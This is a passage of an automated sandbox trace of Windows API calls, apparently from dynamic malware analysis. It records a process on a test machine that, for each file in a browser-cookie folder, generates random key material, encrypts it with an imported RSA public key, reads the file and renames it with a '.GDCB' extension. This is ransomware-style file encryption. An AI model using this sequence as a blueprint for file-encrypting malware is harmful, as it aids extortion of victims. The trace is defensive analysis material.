pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.612] CryptEncrypt (in: hKey=0x5038450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.612] GetLastError () returned 0x0 [0191.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.612] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U8FCPAKJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u8fcpakj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.614] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.615] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.616] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6f, lpOverlapped=0x0) returned 1 [0191.626] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.630] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U8FCPAKJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u8fcpakj.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U8FCPAKJ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u8fcpakj.txt.gdcb")) returned 1 [0191.647] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.650] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.650] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.652] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.652] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.652] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0191.655] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038650) returned 1 [0191.656] CryptGetKeyParam (in: hKey=0x5038650, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.656] CryptEncrypt (in: hKey=0x5038650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.657] GetLastError () returned 0x0 [0191.657] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.657] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.659] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038190) returned 1 [0191.659] CryptGetKeyParam (in: hKey=0x5038190, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.659] CryptEncrypt (in: hKey=0x5038190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.659] GetLastError () returned 0x0 [0191.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.659] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBUPNOZC.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubupnozc.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.661] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.662] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.663] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x54, lpOverlapped=0x0) returned 1 [0191.671] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.676] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBUPNOZC.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubupnozc.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBUPNOZC.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubupnozc.txt.gdcb")) returned 1 [0191.681] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.684] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.684] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.684] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.687] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.687] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.690] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038390) returned 1 [0191.690] CryptGetKeyParam (in: hKey=0x5038390, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.690] CryptEncrypt (in: hKey=0x5038390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.690] GetLastError () returned 0x0 [0191.690] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.690] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.692] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038590) returned 1 [0191.692] CryptGetKeyParam (in: hKey=0x5038590, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.692] CryptEncrypt (in: hKey=0x5038590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.692] GetLastError () returned 0x0 [0191.692] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.692] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBXQG39X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubxqg39x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.694] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.696] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.697] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x69, lpOverlapped=0x0) returned 1 [0191.705] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.709] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBXQG39X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubxqg39x.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UBXQG39X.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ubxqg39x.txt.gdcb")) returned 1 [0191.715] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.717] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.718] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.718] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.718] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.720] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.720] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.720] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.720] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.722] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50384d0) returned 1 [0191.722] CryptGetKeyParam (in: hKey=0x50384d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.722] CryptEncrypt (in: hKey=0x50384d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.723] GetLastError () returned 0x0 [0191.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.723] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.724] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50383d0) returned 1 [0191.725] CryptGetKeyParam (in: hKey=0x50383d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.725] CryptEncrypt (in: hKey=0x50383d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.725] GetLastError () returned 0x0 [0191.725] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.725] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UGL14QS0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ugl14qs0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.727] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.728] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.729] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x82, lpOverlapped=0x0) returned 1 [0191.737] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.741] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UGL14QS0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ugl14qs0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UGL14QS0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ugl14qs0.txt.gdcb")) returned 1 [0191.747] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.750] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.750] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.750] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.751] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.752] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.753] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.755] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038510) returned 1 [0191.755] CryptGetKeyParam (in: hKey=0x5038510, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.755] CryptEncrypt (in: hKey=0x5038510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.755] GetLastError () returned 0x0 [0191.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.755] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.757] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038690) returned 1 [0191.757] CryptGetKeyParam (in: hKey=0x5038690, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.757] CryptEncrypt (in: hKey=0x5038690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.757] GetLastError () returned 0x0 [0191.757] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UUEVXDWP.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\uuevxdwp.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.760] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.761] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.762] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x22b, lpOverlapped=0x0) returned 1 [0191.771] VirtualAlloc (lpAddress=0x0, dwSize=0x230, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.789] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UUEVXDWP.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\uuevxdwp.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\UUEVXDWP.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\uuevxdwp.txt.gdcb")) returned 1 [0191.794] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.797] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.797] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.797] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.799] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.799] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.799] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.801] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038090) returned 1 [0191.801] CryptGetKeyParam (in: hKey=0x5038090, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.801] CryptEncrypt (in: hKey=0x5038090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.801] GetLastError () returned 0x0 [0191.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.801] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.803] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038250) returned 1 [0191.803] CryptGetKeyParam (in: hKey=0x5038250, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.803] CryptEncrypt (in: hKey=0x5038250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.803] GetLastError () returned 0x0 [0191.803] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.803] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\V7NNCJHO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\v7nncjho.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 